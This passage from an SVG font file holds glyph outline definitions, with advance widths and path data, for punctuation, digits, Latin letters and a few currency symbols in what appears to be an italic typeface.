<glyph unicode="#" horiz-adv-x="1323" d="M63 430l13 129h284l101 340h-277l13 127h301l123 436h139l-125 -436h305l127 436h133l-125 -436h264l-12 -127h-291l-98 -340h285l-13 -129h-309l-125 -430h-139l129 430h-303l-127 -430h-133l121 430h-261zM500 559h303l96 340h-303z" />
<glyph unicode="$" d="M72 176v154q82 -41 175.5 -63.5t166.5 -22.5l98 452q-139 49 -201.5 123.5t-62.5 188.5q0 159 108 255t299 113l39 176h133l-39 -178q159 -12 283 -76l-63 -135q-121 63 -248 72l-94 -440q149 -55 212.5 -125t63.5 -178q0 -162 -112.5 -263t-309.5 -123l-49 -225h-133 l49 223q-195 14 -315 72zM401 1010q0 -53 34.5 -97.5t107.5 -70.5l84 393q-108 -11 -167 -69t-59 -156zM549 250q107 13 170 75t63 154q0 54 -33 96t-114 74z" />
<glyph unicode="%" horiz-adv-x="1624" d="M168 860q0 166 50.5 318.5t136.5 228.5t200 76q116 0 176 -72t60 -205q0 -108 -32 -237.5t-82.5 -217.5t-120.5 -137t-157 -49q-109 0 -170 75t-61 220zM231 0l1086 1462h151l-1085 -1462h-152zM307 864q0 -172 107 -172q52 0 94 39.5t73.5 114t50.5 175t19 171.5 q0 166 -108 166q-66 0 -119 -63t-85 -187.5t-32 -243.5zM909 274q0 166 50.5 318.5t136.5 228.5t200 76q116 0 176 -71.5t60 -204.5q0 -107 -31.5 -236t-82 -217.5t-121 -138t-156.5 -49.5q-110 0 -171 74.5t-61 219.5zM1049 279q0 -173 106 -173q65 0 117 65t86.5 198.5 t34.5 236.5q0 166 -109 166q-67 0 -119.5 -64.5t-84 -188.5t-31.5 -240z" />
<glyph unicode="&#x26;" horiz-adv-x="1372" d="M66 342q0 148 90 257.5t303 211.5q-103 165 -103 309q0 164 106 264.5t281 100.5q149 0 236.5 -79t87.5 -212q0 -78 -32.5 -137t-87.5 -108t-127.5 -90t-153.5 -83l278 -389q127 110 199 295h168q-101 -236 -283 -412l203 -270h-201l-117 166q-120 -100 -230 -143 t-247 -43q-168 0 -269 96t-101 266zM229 354q0 -106 66.5 -170.5t175.5 -64.5q87 0 168 33t195 124l-306 433q-128 -67 -184 -116t-85.5 -107.5t-29.5 -131.5zM516 1118q0 -120 82 -235q139 71 191 110t83 85t31 104q0 77 -42.5 121.5t-123.5 44.5q-105 0 -163 -60t-58 -170 z" />
<glyph unicode="'" horiz-adv-x="444" d="M225 934l72 528h188l-153 -528h-107z" />
<glyph unicode="(" horiz-adv-x="584" d="M82 272q0 339 120 627t384 563h157q-246 -270 -371.5 -570t-125.5 -618q0 -339 114 -598h-131q-147 266 -147 596z" />
<glyph unicode=")" horiz-adv-x="584" d="M-160 -324q496 551 496 1188q0 341 -113 598h131q146 -269 146 -598q0 -341 -121.5 -629.5t-382.5 -558.5h-156z" />
<glyph unicode="*" horiz-adv-x="1130" d="M215 1194l55 154l371 -185l41 400l172 -35l-123 -383l422 18l-8 -157l-393 47l180 -383l-166 -52l-113 406l-258 -344l-116 121l309 284z" />
<glyph unicode="+" d="M127 651v142h389v391h141v-391h390v-142h-390v-387h-141v387h-389z" />
<glyph unicode="," horiz-adv-x="492" d="M-100 -264q126 286 204 502h187l8 -23q-113 -235 -270 -479h-129z" />
<glyph unicode="-" horiz-adv-x="639" d="M55 469l35 158h479l-34 -158h-480z" />
<glyph unicode="." horiz-adv-x="518" d="M43 74q0 77 40.5 122.5t111.5 45.5q43 0 69.5 -26t26.5 -79q0 -71 -40 -118.5t-108 -47.5q-46 0 -73 26t-27 77z" />
<glyph unicode="/" horiz-adv-x="717" d="M-94 0l813 1462h174l-813 -1462h-174z" />
<glyph unicode="0" d="M121 477q0 270 82 514.5t216.5 369t307.5 124.5q365 0 365 -471q0 -295 -78.5 -539t-214 -369.5t-314.5 -125.5q-176 0 -270 127.5t-94 369.5zM293 479q0 -172 50 -264t161 -92q115 0 209 114t150.5 328t56.5 453q0 323 -203 323q-113 0 -209 -115.5t-155.5 -323 t-59.5 -423.5z" />
<glyph unicode="1" d="M303 1178l449 284h149l-313 -1462h-172l196 913q59 261 88 359q-50 -53 -139 -111l-178 -110z" />
<glyph unicode="2" d="M12 0l31 147l465 420q102 93 176.5 163.5t123 133t72 124t23.5 136.5q0 99 -60 157t-163 58q-77 0 -150.5 -28.5t-162.5 -96.5l-82 115q191 154 413 154q176 0 278.5 -88.5t102.5 -243.5q0 -111 -39.5 -204t-131 -197t-294.5 -281l-352 -307v-8h678l-29 -154h-899z" />
<glyph unicode="3" d="M47 59v164q94 -49 199 -75.5t190 -26.5q162 0 252 79.5t90 217.5q0 131 -79 198.5t-220 67.5h-131l31 143h139q165 0 274 87t109 227q0 92 -58 146t-157 54q-80 0 -157 -27t-175 -93l-80 118q195 144 424 144q179 0 277 -87t98 -237q0 -156 -101 -264.5t-280 -140.5v-9 q124 -23 195 -106.5t71 -208.5q0 -133 -62 -234.5t-181 -158.5t-283 -57q-210 0 -385 79z" />
<glyph unicode="4" d="M16 334l29 158l834 978h196l-207 -983h232l-33 -153h-233l-72 -334h-164l74 334h-656zM219 487h486q46 220 78 373t116 445h-8q-17 -29 -66.5 -96.5t-72.5 -96.5z" />
<glyph unicode="5" d="M80 59v164q164 -102 334 -102q191 0 298 96t107 268q0 126 -73.5 199.5t-204.5 73.5q-48 0 -97 -6.5t-139 -30.5l-74 57l197 684h668l-33 -153h-522l-127 -439q87 23 184 23q182 0 289.5 -104.5t107.5 -282.5q0 -161 -73 -283t-204 -182.5t-308 -60.5q-193 0 -330 79z " />
<glyph unicode="6" d="M133 424q0 209 60.5 415t163.5 351.5t246 219t327 73.5q111 0 184 -23l-35 -145q-68 22 -170 22q-212 0 -356.5 -149t-212.5 -443h8q59 79 146.5 126t193.5 47q154 0 244 -98.5t90 -270.5q0 -161 -66.5 -294.5t-180.5 -204t-261 -70.5q-182 0 -281.5 115t-99.5 329z M299 416q0 -137 60.5 -216t172.5 -79q94 0 167.5 54t114 149t40.5 208q0 248 -221 248q-66 0 -128 -28.5t-110 -76t-72 -104.5t-24 -155z" />
<glyph unicode="7" d="M174 0l768 1313h-719l31 149h891l-27 -139l-764 -1323h-180z" />
<glyph unicode="8" d="M96 346q0 148 95 256t296 184q-95 69 -135.5 144.5t-40.5 171.5q0 111 54.5 198.5t153.5 136t222 48.5q174 0 271.5 -86.5t97.5 -235.5q0 -129 -78 -225t-266 -176q127 -78 180 -165t53 -202q0 -122 -60 -217.5t-172.5 -146.5t-264.5 -51q-190 0 -298 98.5t-108 267.5z M270 354q0 -107 69 -170t181 -63q139 0 222 74t83 196q0 99 -52 174t-165 135q-185 -60 -261.5 -143.5t-76.5 -202.5zM479 1100q0 -82 39 -144t127 -116q161 60 228 131.5t67 173.5q0 90 -57.5 143t-153.5 53q-114 0 -182 -65.5t-68 -175.5z" />
<glyph unicode="9" d="M98 14v158q134 -47 246 -47q202 0 327 141t189 441h-10q-51 -75 -132.5 -118.5t-180.5 -43.5q-169 0 -261 98.5t-92 288.5q0 153 64.5 280.5t180 199t259.5 71.5q180 0 279.5 -114.5t99.5 -334.5q0 -194 -56 -406.5t-147.5 -360t-221.5 -217.5t-302 -70q-136 0 -242 34z M350 938q0 -124 54.5 -190t162.5 -66q76 0 140 28.5t108.5 81.5t65 114t20.5 151q0 131 -59 207.5t-160 76.5q-150 0 -241 -113t-91 -290z" />
<glyph unicode=":" horiz-adv-x="518" d="M43 74q0 77 40.5 122.5t111.5 45.5q43 0 69.5 -26t26.5 -79q0 -71 -40 -118.5t-108 -47.5q-46 0 -73 26t-27 77zM203 956q0 77 40 122.5t111 45.5q97 0 97 -104q0 -73 -41.5 -119.5t-106.5 -46.5q-46 0 -73 26.5t-27 75.5z" />
<glyph unicode=";" horiz-adv-x="518" d="M-100 -264q126 286 204 502h187l8 -23q-113 -235 -270 -479h-129zM203 956q0 77 40 122.5t111 45.5q97 0 97 -104q0 -73 -41.5 -119.5t-106.5 -46.5q-46 0 -73 26.5t-27 75.5z" />
<glyph unicode="&#x3c;" d="M121 664v98l919 479v-149l-747 -371l747 -328v-151z" />
<glyph unicode="=" d="M127 444v142h920v-142h-920zM127 858v139h920v-139h-920z" />
<glyph unicode="&#x3e;" d="M121 242v151l745 328l-745 371v149l919 -479v-98z" />
<glyph unicode="?" horiz-adv-x="874" d="M158 74q0 77 40 122.5t111 45.5q44 0 70.5 -26t26.5 -79q0 -73 -41.5 -119.5t-106.5 -46.5q-46 0 -73 26t-27 77zM197 1382q92 51 192 76t182 25q167 0 259 -84t92 -238q0 -123 -65.5 -226.5t-225.5 -223.5q-125 -91 -169 -147.5t-67 -160.5h-135q22 130 72.5 213.5 t165.5 174.5q128 100 168 144t63 94t23 112q0 93 -51.5 143.5t-147.5 50.5q-81 0 -155 -25.5t-140 -56.5z" />
<glyph unicode="@" horiz-adv-x="1735" d="M111 504q0 261 126.5 485.5t343.5 347.5t486 123q191 0 329 -75.5t210.5 -213.5t72.5 -319q0 -179 -55 -324t-155 -227t-222 -82q-197 0 -213 184h-8q-111 -184 -291 -184q-115 0 -180.5 75.5t-65.5 209.5q0 157 68 284t188.5 199t260.5 72q65 0 127.5 -12t150.5 -48 q-64 -242 -98 -368t-31 -172q0 -117 102 -117q78 0 141.5 67t100.5 183.5t37 243.5q0 239 -128 367t-370 128q-228 0 -406.5 -107t-277 -295.5t-98.5 -416.5q0 -270 143.5 -418.5t409.5 -148.5q197 0 420 86v-127q-219 -90 -443 -90q-314 0 -494.5 184.5t-180.5 505.5z M639 518q0 -93 33 -134.5t98 -41.5q187 0 272 315l70 258q-63 23 -127 23q-94 0 -174 -55t-126 -153t-46 -212z" />
<glyph unicode="A" horiz-adv-x="1137" d="M-117 0l799 1462h174l184 -1462h-170l-57 465h-496l-245 -465h-189zM401 621h394l-35 299q-24 179 -29 350q-37 -88 -80.5 -175t-249.5 -474z" />
<glyph unicode="B" horiz-adv-x="1225" d="M86 0l309 1462h375q432 0 432 -336q0 -141 -87 -238t-245 -126v-10q115 -32 176.5 -110.5t61.5 -188.5q0 -212 -152 -332.5t-407 -120.5h-463zM287 145h266q181 0 278 80.5t97 227.5q0 116 -74.5 177.5t-214.5 61.5h-236zM434 836h248q156 0 249 73t93 199 q0 104 -66.5 155.5t-209.5 51.5h-211z" />
<glyph unicode="C" horiz-adv-x="1198" d="M150 537q0 261 105.5 485.5t283.5 342.5t403 118q197 0 348 -80l-69 -141q-138 69 -279 69q-174 0 -311.5 -97t-218 -284.5t-80.5 -408.5q0 -187 97.5 -298.5t268.5 -111.5q139 0 322 57v-149q-86 -31 -164 -45t-188 -14q-242 0 -380 149.5t-138 407.5z" />
<glyph unicode="D" horiz-adv-x="1364" d="M86 0l309 1462h342q276 0 419.5 -149.5t143.5 -435.5q0 -261 -105 -461t-300 -308t-457 -108h-352zM287 147h162q202 0 355 91.5t234.5 258.5t81.5 382t-103 325.5t-302 110.5h-178z" />
<glyph unicode="E" horiz-adv-x="1047" d="M86 0l309 1462h735l-32 -153h-566l-98 -469h527l-29 -152h-529l-114 -536h565l-33 -152h-735z" />
<glyph unicode="F" horiz-adv-x="967" d="M86 0l309 1462h735l-30 -153h-568l-110 -533h528l-32 -153h-529l-131 -623h-172z" />
<glyph unicode="G" horiz-adv-x="1386" d="M150 528q0 269 101.5 489.5t281.5 343t399 122.5q117 0 219.5 -20t206.5 -64l-66 -152q-77 34 -165.5 59t-194.5 25q-169 0 -307.5 -101.5t-215.5 -283.5t-77 -407q0 -190 102.5 -299t286.5 -109q154 0 260 39l96 444h-289l33 152h459l-154 -711q-216 -75 -419 -75 q-264 0 -410.5 144.5t-146.5 403.5z" />
<glyph unicode="H" horiz-adv-x="1389" d="M86 0l309 1462h170l-131 -622h660l133 622h168l-310 -1462h-167l143 688h-660l-145 -688h-170z" />
<glyph unicode="I" horiz-adv-x="559" d="M86 0l311 1462h168l-311 -1462h-168z" />
<glyph unicode="J" horiz-adv-x="547" d="M-319 -360l6 147q69 -20 145 -20q100 0 165.5 62.5t90.5 182.5l307 1450h170l-309 -1468q-79 -379 -422 -379q-105 0 -153 25z" />
<glyph unicode="K" horiz-adv-x="1141" d="M86 0l309 1462h170l-151 -710l700 710h209l-639 -637l350 -825h-186q-72 181 -146.5 359.5t-146.5 361.5l-174 -131l-125 -590h-170z" />
<glyph unicode="L" horiz-adv-x="971" d="M86 0l309 1462h170l-276 -1308h565l-33 -154h-735z" />
<glyph unicode="M" horiz-adv-x="1714" d="M84 0l309 1462h244l149 -1204h9l659 1204h266l-303 -1462h-174q126 590 193 905.5t94 392.5h-6l-717 -1298h-131l-166 1296h-8q-7 -72 -28.5 -197.5t-37.5 -199.5l-190 -899h-162z" />
<glyph unicode="N" horiz-adv-x="1438" d="M84 0l309 1462h180l459 -1220h6q30 224 72 405l174 815h164l-309 -1462h-181l-460 1223h-6q-32 -221 -74 -418l-172 -805h-162z" />
<glyph unicode="O" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -269 -88 -481.5t-252 -329t-379 -116.5q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q152 0 272.5 97.5t190.5 279.5t70 403q0 199 -94 310.5t-261 111.5q-157 0 -281 -101 t-192.5 -281t-68.5 -398z" />
<glyph unicode="P" horiz-adv-x="1159" d="M86 0l309 1462h330q214 0 324 -94.5t110 -282.5q0 -248 -164 -379t-481 -131h-135l-123 -575h-170zM410 721h133q216 0 328 91t112 267q0 125 -69.5 180.5t-213.5 55.5h-163z" />
<glyph unicode="Q" horiz-adv-x="1475" d="M150 549q0 264 96 482t263.5 336t377.5 118q244 0 384 -154t140 -424q0 -333 -139 -576t-375 -321l274 -358h-219l-227 330l-17 -2h-16q-256 0 -399 149.5t-143 419.5zM332 553q0 -199 98 -310.5t266 -111.5q158 0 279 100t187.5 280.5t66.5 399.5q0 199 -94 310.5 t-261 111.5q-157 0 -281 -101t-192.5 -281t-68.5 -398z" />
<glyph unicode="R" horiz-adv-x="1165" d="M86 0l309 1462h320q446 0 446 -366q0 -348 -368 -449l239 -647h-186l-209 608h-252l-129 -608h-170zM416 754h168q193 0 297 85t104 244q0 121 -67.5 175.5t-219.5 54.5h-166q-102 -494 -116 -559z" />
<glyph unicode="S" horiz-adv-x="1028" d="M39 43v170q162 -84 340 -84q162 0 257 75.5t95 207.5q0 78 -52.5 137.5t-195.5 140.5q-151 85 -209.5 170t-58.5 201q0 187 132 304.5t347 117.5q99 0 184.5 -19t180.5 -65l-66 -150q-66 38 -148 60t-151 22q-134 0 -215.5 -69.5t-81.5 -188.5q0 -54 17 -92.5t54 -72.5 t142 -95q147 -88 198.5 -138t78 -110.5t26.5 -140.5q0 -211 -140.5 -327.5t-395.5 -116.5q-106 0 -186.5 14.5t-151.5 48.5z" />
<glyph unicode="T" horiz-adv-x="1020" d="M186 1311l33 151h985l-30 -151h-408l-279 -1311h-172l277 1311h-406z" />
<glyph unicode="U" horiz-adv-x="1384" d="M164 383q0 81 24 201l189 878h170l-191 -891q-22 -106 -22 -188q0 -117 73 -184.5t218 -67.5q172 0 267.5 87.5t139.5 289.5l205 954h170l-205 -966q-55 -263 -197.5 -389.5t-388.5 -126.5q-230 0 -341 104t-111 299z" />
<glyph unicode="V" horiz-adv-x="1122" d="M188 1462h170l97 -930q20 -196 20 -335h4q61 144 162 338l479 927h191l-781 -1462h-180z" />
<glyph unicode="W" horiz-adv-x="1745" d="M223 1462h170l31 -901l2 -88q0 -98 -10 -258h6q89 243 156 383l405 864h178l43 -860q9 -153 9 -304l-1 -83h9q75 224 131 354l387 893h182l-664 -1462h-170l-49 965q-8 136 -8 282h-6q-25 -72 -61 -154.5t-504 -1092.5h-174z" />
<glyph unicode="X" horiz-adv-x="1063" d="M-104 0l596 776l-263 686h172l203 -563l443 563h186l-555 -694l278 -768h-180l-213 641l-481 -641h-186z" />
<glyph unicode="Y" horiz-adv-x="1030" d="M188 1462h170l179 -747l489 747h193l-627 -921l-113 -541h-172l119 549z" />
<glyph unicode="Z" horiz-adv-x="1087" d="M-16 0l28 137l924 1170h-655l32 155h858l-26 -139l-924 -1169h697l-33 -154h-901z" />
<glyph unicode="[" horiz-adv-x="586" d="M-16 -324l381 1786h387l-31 -141h-227l-318 -1503h227l-32 -142h-387z" />
<glyph unicode="\" horiz-adv-x="717" d="M221 1462h154l217 -1462h-154z" />
<glyph unicode="]" horiz-adv-x="586" d="M-150 -324l31 142h225l320 1503h-227l30 141h389l-380 -1786h-388z" />
<glyph unicode="^" horiz-adv-x="1059" d="M53 553l598 920h109l266 -920h-145l-201 747l-467 -747h-160z" />
<glyph unicode="_" horiz-adv-x="807" d="M-188 -324l30 140h811l-30 -140h-811z" />
<glyph unicode="`" horiz-adv-x="1135" d="M575 1548v21h181q43 -136 147 -303v-25h-104q-61 61 -128.5 154t-95.5 153z" />
<glyph unicode="a" horiz-adv-x="1157" d="M98 350q0 208 71 386t196 279t274 101q92 0 164 -49.5t112 -142.5h11l67 172h127l-233 -1096h-133l26 209h-8q-179 -229 -377 -229q-139 0 -218 99t-79 271zM270 346q0 -114 47 -170.5t132 -56.5q97 0 193 92.5t156 241t60 297.5q0 103 -56 164t-147 61 q-104 0 -193.5 -86t-140.5 -233t-51 -310z" />
<glyph unicode="b" horiz-adv-x="1182" d="M59 0l330 1556h168q-51 -242 -78.5 -370.5t-75.5 -300.5h9q93 118 183.5 173.5t186.5 55.5q141 0 220 -99t79 -272q0 -209 -68.5 -386.5t-191 -277t-276.5 -99.5q-97 0 -170.5 51t-110.5 139h-10l-70 -170h-125zM319 346q0 -110 55.5 -168.5t160.5 -58.5q99 0 184.5 81 t137.5 230.5t52 317.5q0 227 -178 227q-96 0 -195.5 -95t-158 -239t-58.5 -295z" />
<glyph unicode="c" horiz-adv-x="922" d="M98 389q0 200 74 369t204.5 263.5t293.5 94.5q137 0 268 -51l-47 -141q-120 51 -219 51q-112 0 -204.5 -76.5t-145 -213t-52.5 -296.5q0 -128 66.5 -199t183.5 -71q72 0 136 20t126 47v-143q-124 -63 -276 -63q-194 0 -301 107t-107 302z" />
<glyph unicode="d" horiz-adv-x="1182" d="M98 350q0 214 72 392t194.5 275t274.5 97q194 0 281 -190h10q17 155 45 274l78 358h166l-330 -1556h-139l22 209h-8q-101 -125 -189 -177t-182 -52q-139 0 -217 98t-78 272zM270 346q0 -227 179 -227q94 0 194 93.5t158.5 239t58.5 296.5q0 111 -54 169t-157 58 q-101 0 -187.5 -82.5t-139 -232t-52.5 -314.5z" />
<glyph unicode="e" horiz-adv-x="1010" d="M98 391q0 188 74.5 360.5t197.5 268.5t271 96q153 0 230 -66.5t77 -185.5q0 -180 -166 -282.5t-475 -102.5h-33l-4 -80q0 -131 61.5 -204.5t190.5 -73.5q63 0 129.5 18t165.5 66v-146q-94 -44 -166 -61.5t-159 -17.5q-184 0 -289 109t-105 302zM299 618h12 q228 0 349.5 59.5t121.5 172.5q0 53 -36.5 88t-114.5 35q-103 0 -193.5 -94t-138.5 -261z" />
<glyph unicode="f" horiz-adv-x="641" d="M-229 -330q64 -22 112 -22q76 0 117 62t66 177l227 1082h-193l13 67l206 66l23 100q46 200 127.5 282.5t241.5 82.5q40 0 98 -11.5t90 -25.5l-43 -129q-76 29 -137 29q-87 0 -133.5 -48.5t-75.5 -177.5l-25 -108h238l-25 -127h-237l-232 -1098q-39 -189 -120 -276 t-213 -87q-69 0 -125 21v141z" />
<glyph unicode="g" horiz-adv-x="1026" d="M-127 -211q0 105 72 182t233 131q-78 41 -78 121q0 69 51 118.5t142 92.5q-63 32 -103 94.5t-40 145.5q0 194 119.5 318t305.5 124q78 0 154 -20h371l-25 -107l-211 -24q41 -62 41 -158q0 -191 -116.5 -304.5t-311.5 -113.5q-55 0 -84 8q-139 -53 -139 -131 q0 -41 33 -54.5t96 -21.5l117 -14q181 -22 262.5 -88t81.5 -194q0 -184 -146 -285t-411 -101q-194 0 -304 73.5t-110 207.5zM35 -195q0 -77 65 -122t193 -45q182 0 284.5 63.5t102.5 179.5q0 62 -54 98t-184 50l-159 16q-120 -25 -184 -88t-64 -152zM313 680 q0 -85 45 -129.5t125 -44.5q79 0 138 42t90.5 115.5t31.5 159.5q0 82 -44 125t-126 43q-78 0 -136.5 -40.5t-91 -113t-32.5 -157.5z" />
<glyph unicode="h" horiz-adv-x="1182" d="M59 0l330 1556h168q-18 -82 -34.5 -159t-34 -156.5t-38 -166.5t-47.5 -189h11q94 123 185.5 176t191.5 53q131 0 202.5 -72t71.5 -204q0 -62 -23 -166q-39 -193 -145 -672h-168l148 692q18 94 18 135q0 148 -147 148q-89 0 -173.5 -59t-149 -171.5t-97.5 -271.5 l-101 -473h-168z" />
<glyph unicode="i" horiz-adv-x="520" d="M59 0l234 1096h168l-234 -1096h-168zM340 1376q0 56 32 91.5t83 35.5q88 0 88 -90q0 -55 -33.5 -93t-77.5 -38q-40 0 -66 24.5t-26 69.5z" />
<glyph unicode="j" horiz-adv-x="520" d="M-258 -330q61 -22 119 -22q125 0 168 205l264 1243h166l-266 -1258q-36 -171 -114.5 -250.5t-213.5 -79.5q-69 0 -123 21v141zM340 1376q0 56 32 91.5t83 35.5q86 0 86 -90q0 -55 -33.5 -93t-77.5 -38q-38 0 -64 24.5t-26 69.5z" />
<glyph unicode="k" horiz-adv-x="999" d="M57 0l330 1556h170l-129 -602q-57 -266 -102 -395h4l526 537h201l-469 -467l295 -629h-187l-235 524l-152 -123l-82 -401h-170z" />
<glyph unicode="l" horiz-adv-x="520" d="M57 0l332 1556h168l-332 -1556h-168z" />
<glyph unicode="m" horiz-adv-x="1786" d="M59 0l234 1096h139l-22 -203h10q87 119 173.5 171t178.5 52q113 0 174 -65t72 -181h8q86 125 183 185.5t196 60.5q127 0 196.5 -68t69.5 -198q0 -68 -22 -178l-144 -672h-170l148 692q20 104 20 146q0 62 -34.5 99.5t-108.5 37.5q-81 0 -160 -58t-138.5 -164.5 t-90.5 -252.5l-107 -500h-168l148 692q18 94 18 135q0 70 -31 109t-106 39q-84 0 -163.5 -60t-140 -171.5t-93.5 -268.5l-101 -475h-168z" />
<glyph unicode="n" horiz-adv-x="1182" d="M59 0l234 1096h139l-22 -203h10q96 122 185.5 172.5t185.5 50.5q127 0 200.5 -69.5t73.5 -194.5q0 -79 -23 -180l-143 -672h-170l148 692q20 104 20 144q0 63 -35.5 101t-113.5 38q-89 0 -173.5 -60t-149 -171t-97.5 -269l-101 -475h-168z" />
<glyph unicode="o" horiz-adv-x="1149" d="M98 406q0 190 73 357.5t197 257t275 89.5q190 0 300 -112.5t110 -309.5q0 -188 -72 -355t-195 -258t-278 -91q-192 0 -301 113t-109 309zM270 397q0 -131 63.5 -202.5t182.5 -71.5q104 0 187 73t129.5 207.5t46.5 307.5q0 115 -62.5 186.5t-169.5 71.5q-109 0 -195.5 -74 t-134 -205.5t-47.5 -292.5z" />
<glyph unicode="p" horiz-adv-x="1182" d="M-43 -492l336 1588h139l-26 -209h8q179 227 372 227q137 0 216 -97.5t79 -273.5q0 -212 -69 -389t-191 -275.5t-276 -98.5q-97 0 -170 50t-113 140h-10l-4 -38q-3 -25 -10.5 -70t-114.5 -554h-166zM319 346q0 -110 55.5 -168.5t160.5 -58.5q99 0 184.5 81t137.5 230.5 t52 317.5q0 227 -178 227q-96 0 -195.5 -95t-158 -239t-58.5 -295z" />
<glyph unicode="q" horiz-adv-x="1182" d="M98 350q0 212 72.5 392t196 277t274.5 97q94 0 165.5 -50.5t108.5 -141.5h13l67 172h125l-336 -1588h-166l101 480q9 45 57 221h-8q-95 -121 -185 -175t-186 -54q-140 0 -219.5 97.5t-79.5 272.5zM270 346q0 -227 179 -227q92 0 190 92t158.5 237t60.5 300 q0 105 -54.5 166t-152.5 61q-101 0 -189 -84.5t-140 -233t-52 -311.5z" />
<glyph unicode="r" horiz-adv-x="811" d="M59 0l234 1096h139l-22 -203h10q72 95 119 136.5t98.5 64t114.5 22.5q69 0 120 -14l-36 -150q-53 13 -105 13q-91 0 -170.5 -60t-139 -166.5t-87.5 -236.5l-107 -502h-168z" />
<glyph unicode="s" horiz-adv-x="877" d="M8 49v158q70 -42 151 -65t150 -23q126 0 190 50t64 128q0 57 -35 96t-151 107q-130 73 -184 143t-54 166q0 138 101 222.5t266 84.5q171 0 330 -74l-54 -137l-56 25q-101 43 -220 43q-93 0 -146 -43.5t-53 -112.5q0 -56 35.5 -96t146.5 -103q107 -60 153.5 -103 t69.5 -92.5t23 -111.5q0 -156 -110.5 -243.5t-311.5 -87.5q-169 0 -305 69z" />
<glyph unicode="t" horiz-adv-x="664" d="M90 969l14 73l185 78l125 228h98l-55 -252h274l-26 -127h-273l-129 -604q-18 -87 -18 -132q0 -56 29 -86t81 -30q55 0 144 26v-129q-34 -14 -84 -24t-80 -10q-125 0 -191.5 59.5t-66.5 177.5q0 66 18 150l127 602h-172z" />
<glyph unicode="u" horiz-adv-x="1182" d="M113 248q0 62 22 172l146 676h170l-150 -695q-18 -89 -18 -139q0 -143 147 -143q88 0 173 60t150 172t99 270l100 475h166l-231 -1096h-139l22 203h-12q-98 -125 -187 -174t-184 -49q-128 0 -201 69.5t-73 198.5z" />
<glyph unicode="v" horiz-adv-x="946" d="M98 1096h168l64 -613q24 -258 24 -362h6q127 275 179 371l325 604h178l-591 -1096h-228z" />
<glyph unicode="w" horiz-adv-x="1468" d="M117 1096h164l18 -594v-88q0 -147 -8 -269h6q47 124 137 322l295 629h182l37 -594q6 -168 6 -262v-53l-2 -42h6q28 86 83 218.5t323 732.5h178l-506 -1096h-205l-32 602q-4 94 -4 172v156h-9l-50 -118l-83 -189l-291 -623h-202z" />
<glyph unicode="x" horiz-adv-x="979" d="M-74 0l475 565l-239 531h170l174 -412l330 412h194l-455 -539l252 -557h-168l-192 434l-346 -434h-195z" />
<glyph unicode="y" horiz-adv-x="946" d="M-197 -336q63 -18 131 -18q82 0 140.5 50.5t113.5 149.5l76 136l-166 1114h168l74 -545q10 -69 19.5 -203.5t9.5 -216.5h6q35 87 87 200t77 156l325 609h178l-696 -1282q-93 -172 -184 -239t-219 -67q-72 0 -140 21v135z" />
<glyph unicode="z" horiz-adv-x="909" d="M-29 0l23 117l694 854h-479l27 125h657l-29 -140l-680 -831h531l-25 -125h-719z" />
<glyph unicode="{" horiz-adv-x="715" d="M27 514l32 143q118 0 189.5 43.5t93.5 147.5l68 326q34 160 117.5 224t254.5 64h33l-31 -141q-105 0 -151 -36.5t-66 -123.5l-71 -321q-28 -123 -91 -184t-167 -78v-5q151 -41 151 -213q0 -59 -18 -131l-47 -211q-15 -58 -15 -98q0 -53 36.5 -77.5t119.5 -24.5v-142h-23 q-141 0 -216.5 52.5t-75.5 171.5q0 52 20 141q33 146 51.5 227.5t14.5 102.5q0 143 -209 143z" />
<glyph unicode="|" d="M541 -496v2052h139v-2052h-139z" />
<glyph unicode="}" horiz-adv-x="715" d="M-74 -182q115 0 167 36t71 123l72 322q25 117 88 179.5t170 80.5v6q-150 42 -150 211q0 59 18 131l50 213q14 65 14 99q0 53 -40.5 77.5t-139.5 24.5l28 141h11q144 0 220.5 -52.5t76.5 -170.5q0 -48 -21 -141l-49 -219q-16 -68 -16 -111q0 -143 209 -143l-33 -144 q-119 0 -190 -43t-93 -147l-67 -326q-36 -164 -119 -226.5t-264 -62.5h-13v142z" />
<glyph unicode="~" d="M115 592v151q98 109 243 109q69 0 127 -14.5t144 -51.5q64 -27 112.5 -41t98.5 -14q55 0 119.5 33t115.5 88v-150q-100 -110 -244 -110q-72 0 -135 16.5t-135 48.5q-75 32 -120 44t-93 12q-54 0 -118.5 -34.5t-114.5 -86.5z" />
<glyph unicode="&#xa1;" horiz-adv-x="530" d="M-14 -373l274 1057h109l-176 -1057h-207zM250 950q0 76 40.5 122t110.5 46q44 0 70.5 -26t26.5 -80q0 -71 -40.5 -117.5t-105.5 -46.5q-48 0 -75 25.5t-27 76.5z" />
<glyph unicode="&#xa2;" d="M225 590q0 185 63.5 344t178.5 258.5t260 120.5l35 170h123l-37 -168q119 -9 217 -49l-47 -142q-109 52 -219 52q-112 0 -204.5 -76.5t-145 -213t-52.5 -296.5q0 -125 66 -198t184 -73q72 0 136 20t126 48v-143q-123 -62 -286 -66l-41 -198h-125l43 215 q-132 34 -203.5 137.5t-71.5 257.5z" />
<glyph unicode="&#xa3;" d="M-23 0l27 141q205 46 258 289l47 221h-200l26 127h201l76 350q75 353 430 353q184 0 336 -86l-66 -133q-146 79 -278 79q-213 0 -263 -237l-69 -326h370l-26 -127h-371l-47 -219q-22 -98 -66 -166.5t-124 -111.5h725l-33 -154h-953z" />
<glyph unicode="&#xa4;" d="M168 1067l92 92l127 -129q103 70 217 70t215 -70l129 129l92 -90l-129 -129q70 -104 70 -217q0 -119 -70 -217l127 -127l-90 -90l-129 127q-98 -68 -215 -68q-119 0 -217 70l-127 -127l-90 90l127 127q-68 96 -68 215q0 117 68 215zM358 723q0 -103 71.5 -174.5 t174.5 -71.5q104 0 177 71.5t73 174.5q0 104 -73 177t-177 73q-102 0 -174 -72.5t-72 -177.5z" />
<glyph unicode="&#xa5;" d="M127 266l29 133h290l33 160h-291l29 133h225l-202 770h163l179 -747l491 747h187l-533 -770h231l-28 -133h-297l-33 -160h297l-29 -133h-295l-57 -266h-154l56 266h-291z" />
<glyph unicode="&#xa6;" d="M541 281h139v-777h-139v777zM541 780v776h139v-776h-139z" />
